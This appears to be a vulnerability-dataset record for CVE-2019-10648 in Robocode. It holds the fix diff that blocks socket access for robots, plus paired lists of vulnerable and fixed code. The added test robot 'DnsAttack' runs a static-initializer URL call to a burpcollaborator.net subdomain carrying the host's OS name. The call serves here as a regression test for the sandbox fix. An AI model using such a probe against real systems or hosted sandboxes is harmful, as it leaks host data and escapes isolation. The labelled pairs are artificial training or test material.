CVE-2019-10648: Missing Authorization (CWE-862)
value: Robocode through 1.9.3.5 allows remote attackers to cause external service interaction (DNS), as demonstrated by a query for a unique subdomain name within an attacker-controlled DNS zone, because of a .openStream call within java.net.URL.
CWE description: The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
CVSS v3 base score: 9.8
Published: 2019-03-30T13:29Z
Repository: https://github.com/robo-code/robocode
Language: Java
Files changed: robocode.host/src/main/java/net/sf/robocode/host/security/RobocodeSecurityManager.java, robocode.tests.robots/src/main/java/tested/robots/DnsAttack.java, robocode.tests/src/test/java/net/sf/robocode/test/robots/TestConstructorHttpAttack.java, robocode.tests/src/test/java/net/sf/robocode/test/robots/TestHttpAttack.java, robocode.tests/src/test/java/net/sf/robocode/test/robots/TestStaticConstructorDnsAttack.java, versions.md
Commit date: 2019-03-26 23:10:09 +0100
Commit message: Bug-406: DNS interaction is not blocked by Robocode's security manager + test(s) to verify the fix

Diff: diff --git a/robocode.host/src/main/java/net/sf/robocode/host/security/RobocodeSecurityManager.java b/robocode.host/src/main/java/net/sf/robocode/host/security/RobocodeSecurityManager.java
index e5bf3ea5..d709346d 100644
--- a/robocode.host/src/main/java/net/sf/robocode/host/security/RobocodeSecurityManager.java
+++ b/robocode.host/src/main/java/net/sf/robocode/host/security/RobocodeSecurityManager.java
@@ -10,11 +10,13 @@ package net.sf.robocode.host.security;
 
 import net.sf.robocode.host.IHostedThread;
 import net.sf.robocode.host.IThreadManager;
 import net.sf.robocode.io.RobocodeProperties;
 
+import java.net.SocketPermission;
 import java.security.AccessControlException;
+import java.security.Permission;
 
 
 /**
  * @author Mathew A. Nelson (original)
  * @author Flemming N. Larsen (contributor)
@@ -47,11 +49,10 @@ public class RobocodeSecurityManager extends SecurityManager {
 		if (RobocodeProperties.isSecurityOff()) {
 			return;
 		}
 
 		Thread c = Thread.currentThread();
-
 		if (isSafeThread(c)) {
 			return;
 		}
 		super.checkAccess(t);
 
@@ -82,21 +83,20 @@ public class RobocodeSecurityManager extends SecurityManager {
 			IHostedThread robotProxy = threadManager.getLoadedOrLoadingRobotProxy(c);
 
 			if (robotProxy != null) {
 				robotProxy.punishSecurityViolation(message);
 			}
-			throw new AccessControlException(message);
+			throw new SecurityException(message);
 		}
 	}
 
 	@Override
 	public void checkAccess(ThreadGroup g) {
 		if (RobocodeProperties.isSecurityOff()) {
 			return;
 		}
 		Thread c = Thread.currentThread();
-
 		if (isSafeThread(c)) {
 			return;
 		}
 		super.checkAccess(g);
 
@@ -121,13 +121,31 @@ public class RobocodeSecurityManager extends SecurityManager {
 
 		if (cg.activeCount() > 5) {
 			String message = "Robots are only allowed to create up to 5 threads!";
 
 			robotProxy.punishSecurityViolation(message);
-			throw new AccessControlException(message);
+			throw new SecurityException(message);
 		}
 	}
+	
+    public void checkPermission(Permission perm) {
+		if (RobocodeProperties.isSecurityOff()) {
+			return;
+		}
+		Thread c = Thread.currentThread();
+		if (isSafeThread(c)) {
+			return;
+		}
+        super.checkPermission(perm);
+
+        if (perm instanceof SocketPermission) {
+    		IHostedThread robotProxy = threadManager.getLoadedOrLoadingRobotProxy(c);
+        	String message = "Using socket is not allowed";
+        	robotProxy.punishSecurityViolation(message);
+            throw new SecurityException(message);
+        }
+    }
 
 	private boolean isSafeThread(Thread c) {
 		return threadManager.isSafeThread(c);
 	}
 }
diff --git a/robocode.tests.robots/src/main/java/tested/robots/DnsAttack.java b/robocode.tests.robots/src/main/java/tested/robots/DnsAttack.java
new file mode 100644
index 00000000..701e5d84
--- /dev/null
+++ b/robocode.tests.robots/src/main/java/tested/robots/DnsAttack.java
@@ -0,0 +1,18 @@
+package tested.robots;
+
+public class DnsAttack extends robocode.Robot {
+	static {
+		try {
+			new java.net.URL("http://" + System.getProperty("os.name").replaceAll(" ", ".")
+					+ ".randomsubdomain.burpcollaborator.net").openStream();
+		} catch (Exception e) {
+		}
+	}
+
+	public void run() {
+		for (;;) {
+			ahead(100);
+			back(100);
+		}
+	}
+}
diff --git a/robocode.tests/src/test/java/net/sf/robocode/test/robots/TestConstructorHttpAttack.java b/robocode.tests/src/test/java/net/sf/robocode/test/robots/TestConstructorHttpAttack.java
index 3e9af639..96d60573 100755
--- a/robocode.tests/src/test/java/net/sf/robocode/test/robots/TestConstructorHttpAttack.java
+++ b/robocode.tests/src/test/java/net/sf/robocode/test/robots/TestConstructorHttpAttack.java
@@ -17,11 +17,11 @@ import robocode.control.events.TurnEndedEvent;
  * @author Flemming N. Larsen (original)
  */
 public class TestConstructorHttpAttack extends RobocodeTestBed {
 
 	private boolean messagedInitialization;
-	private boolean messagedAccessDenied;
+	private boolean securityExceptionOccurred;
 	
 	@Override
 	public String getRobotNames() {
 		return "tested.robots.ConstructorHttpAttack,sample.Target";
 	}
@@ -34,22 +34,21 @@ public class TestConstructorHttpAttack extends RobocodeTestBed {
 
 		if (out.contains("An error occurred during initialization")) {
 			messagedInitialization = true;	
 		}	
 
-		if (out.contains("access denied (java.net.SocketPermission")
-				|| out.contains("access denied (\"java.net.SocketPermission\"")) {
-			messagedAccessDenied = true;	
+		if (out.contains("java.lang.SecurityException:")) {
+			securityExceptionOccurred = true;	
 		}	
 	}
 
 	@Override
 	protected void runTeardown() {
 		Assert.assertTrue("Error during initialization", messagedInitialization);
-		Assert.assertTrue("HTTP connection is not allowed", messagedAccessDenied);
+		Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
 	}
 
 	@Override
 	protected int getExpectedErrors() {
-		return hasJavaNetURLPermission ? 3 : 2; // Security error must be reported as an error
+		return 2;
 	}
 }
diff --git a/robocode.tests/src/test/java/net/sf/robocode/test/robots/TestHttpAttack.java b/robocode.tests/src/test/java/net/sf/robocode/test/robots/TestHttpAttack.java
index b9313432..d0a74acf 100755
--- a/robocode.tests/src/test/java/net/sf/robocode/test/robots/TestHttpAttack.java
+++ b/robocode.tests/src/test/java/net/sf/robocode/test/robots/TestHttpAttack.java
@@ -16,11 +16,11 @@ import robocode.control.events.TurnEndedEvent;
 /**
  * @author Flemming N. Larsen (original)
  */
 public class TestHttpAttack extends RobocodeTestBed {
 
-	private boolean messagedAccessDenied;
+	private boolean securityExceptionOccurred;
 	
 	@Override
 	public String getRobotNames() {
 		return "tested.robots.HttpAttack,sample.Target";
 	}
@@ -29,21 +29,20 @@ public class TestHttpAttack extends RobocodeTestBed {
 	public void onTurnEnded(TurnEndedEvent event) {
 		super.onTurnEnded(event);
 
 		final String out = event.getTurnSnapshot().getRobots()[0].getOutputStreamSnapshot();
 
-		if (out.contains("access denied (java.net.SocketPermission")
-				|| out.contains("access denied (\"java.net.SocketPermission\"")) {
-			messagedAccessDenied = true;	
+		if (out.contains("java.lang.SecurityException:")) {
+			securityExceptionOccurred = true;	
 		}	
 	}
 
 	@Override
 	protected void runTeardown() {
-		Assert.assertTrue("HTTP connection is not allowed", messagedAccessDenied);
+		Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
 	}
 
 	@Override
 	protected int getExpectedErrors() {
-		return hasJavaNetURLPermission ? 2 : 1; // Security error must be reported as an error. Java 8 reports two errors.
+		return 1;
 	}
 }
diff --git a/robocode.tests/src/test/java/net/sf/robocode/test/robots/TestStaticConstructorDnsAttack.java b/robocode.tests/src/test/java/net/sf/robocode/test/robots/TestStaticConstructorDnsAttack.java
new file mode 100644
index 00000000..bf623738
--- /dev/null
+++ b/robocode.tests/src/test/java/net/sf/robocode/test/robots/TestStaticConstructorDnsAttack.java
@@ -0,0 +1,46 @@
+/**
+ * Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors
+ * All rights reserved. This program and the accompanying materials
+ * are made available under the terms of the Eclipse Public License v1.0
+ * which accompanies this distribution, and is available at
+ * https://robocode.sourceforge.io/license/epl-v10.html
+ */
+package net.sf.robocode.test.robots;
+
+import net.sf.robocode.test.helpers.RobocodeTestBed;
+import org.junit.Assert;
+import robocode.control.events.TurnEndedEvent;
+
+/**
+ * @author Flemming N. Larsen (original)
+ */
+public class TestStaticConstructorDnsAttack extends RobocodeTestBed {
+
+	private boolean securityExceptionOccurred;
+	
+	@Override
+	public String getRobotNames() {
+		return "tested.robots.DnsAttack,sample.Target";
+	}
+
+	@Override
+	public void onTurnEnded(TurnEndedEvent event) {
+		super.onTurnEnded(event);
+
+		final String out = event.getTurnSnapshot().getRobots()[0].getOutputStreamSnapshot();
+
+		if (out.contains("SYSTEM: Using socket is not allowed")) {
+			securityExceptionOccurred = true;	
+		}	
+	}
+
+	@Override
+	protected void runTeardown() {
+		Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
+	}
+
+	@Override
+	protected int getExpectedErrors() {
+		return 1;
+	}
+}
diff --git a/versions.md b/versions.md
index d73d8c1f..4ed41bca 100644
--- a/versions.md
+++ b/versions.md
@@ -1,10 +1,10 @@
 ## Version 1.9.3.6 Alpha (07-03-2019)
 
 ### Bugfixes
 * [Bug-404][]: Confusion between development/non-development versions of bots
-	* Rollback of previous attempt to fix issues with the RobocodeEngine, which could not read robots in "developer mode" (marked with a asterix character). Hence the old bug [Bug-398][] is back.
+	* Rollback of previous attempt to fix issues with the RobocodeEngine, which could not read robots in "developer mode" (marked with a asterix character). Hence the old bug [Bug-398][] has been reintroduced.
 
 ### Changes
 * Fix by Bumfo, which makes Robocode faster at detecting robots in the robot folder, which is crucial for the RoboRumble, when installing or updating a huge amount of robots.
 
 ## Version 1.9.3.5 (02-03-2019)

Vulnerable code: 
			throw new AccessControlException(message);

			throw new AccessControlException(message);
	private boolean messagedAccessDenied;
		if (out.contains("access denied (java.net.SocketPermission")
				|| out.contains("access denied (\"java.net.SocketPermission\"")) {
			messagedAccessDenied = true;	
		Assert.assertTrue("HTTP connection is not allowed", messagedAccessDenied);
		return hasJavaNetURLPermission ? 3 : 2; // Security error must be reported as an error
	private boolean messagedAccessDenied;
		if (out.contains("access denied (java.net.SocketPermission")
				|| out.contains("access denied (\"java.net.SocketPermission\"")) {
			messagedAccessDenied = true;	
		Assert.assertTrue("HTTP connection is not allowed", messagedAccessDenied);
		return hasJavaNetURLPermission ? 2 : 1; // Security error must be reported as an error. Java 8 reports two errors.
	* Rollback of previous attempt to fix issues with the RobocodeEngine, which could not read robots in "developer mode" (marked with a asterix character). Hence the old bug [Bug-398][] is back.
Fixed code: import java.net.SocketPermission;
import java.security.Permission;
			throw new SecurityException(message);
			throw new SecurityException(message);
	
    public void checkPermission(Permission perm) {
		if (RobocodeProperties.isSecurityOff()) {
			return;
		}
		Thread c = Thread.currentThread();
		if (isSafeThread(c)) {
			return;
		}
        super.checkPermission(perm);

        if (perm instanceof SocketPermission) {
    		IHostedThread robotProxy = threadManager.getLoadedOrLoadingRobotProxy(c);
        	String message = "Using socket is not allowed";
        	robotProxy.punishSecurityViolation(message);
            throw new SecurityException(message);
        }
    }
package tested.robots;

public class DnsAttack extends robocode.Robot {
	static {
		try {
			new java.net.URL("http://" + System.getProperty("os.name").replaceAll(" ", ".")
					+ ".randomsubdomain.burpcollaborator.net").openStream();
		} catch (Exception e) {
		}
	}

	public void run() {
		for (;;) {
			ahead(100);
			back(100);
		}
	}
}
	private boolean securityExceptionOccurred;
		if (out.contains("java.lang.SecurityException:")) {
			securityExceptionOccurred = true;	
		Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
		return 2;
	private boolean securityExceptionOccurred;
		if (out.contains("java.lang.SecurityException:")) {
			securityExceptionOccurred = true;	
		Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
		return 1;
/**
 * Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors
 * All rights reserved. This program and the accompanying materials
 * are made available under the terms of the Eclipse Public License v1.0
 * which accompanies this distribution, and is available at
 * https://robocode.sourceforge.io/license/epl-v10.html
 */
package net.sf.robocode.test.robots;

import net.sf.robocode.test.helpers.RobocodeTestBed;
import org.junit.Assert;
import robocode.control.events.TurnEndedEvent;

/**
 * @author Flemming N. Larsen (original)
 */
public class TestStaticConstructorDnsAttack extends RobocodeTestBed {

	private boolean securityExceptionOccurred;
	
	@Override
	public String getRobotNames() {
		return "tested.robots.DnsAttack,sample.Target";
	}

	@Override
	public void onTurnEnded(TurnEndedEvent event) {
		super.onTurnEnded(event);

		final String out = event.getTurnSnapshot().getRobots()[0].getOutputStreamSnapshot();

		if (out.contains("SYSTEM: Using socket is not allowed")) {
			securityExceptionOccurred = true;	
		}	
	}

	@Override
	protected void runTeardown() {
		Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
	}

	@Override
	protected int getExpectedErrors() {
		return 1;
	}
}
	* Rollback of previous attempt to fix issues with the RobocodeEngine, which could not read robots in "developer mode" (marked with a asterix character). Hence the old bug [Bug-398][] has been reintroduced.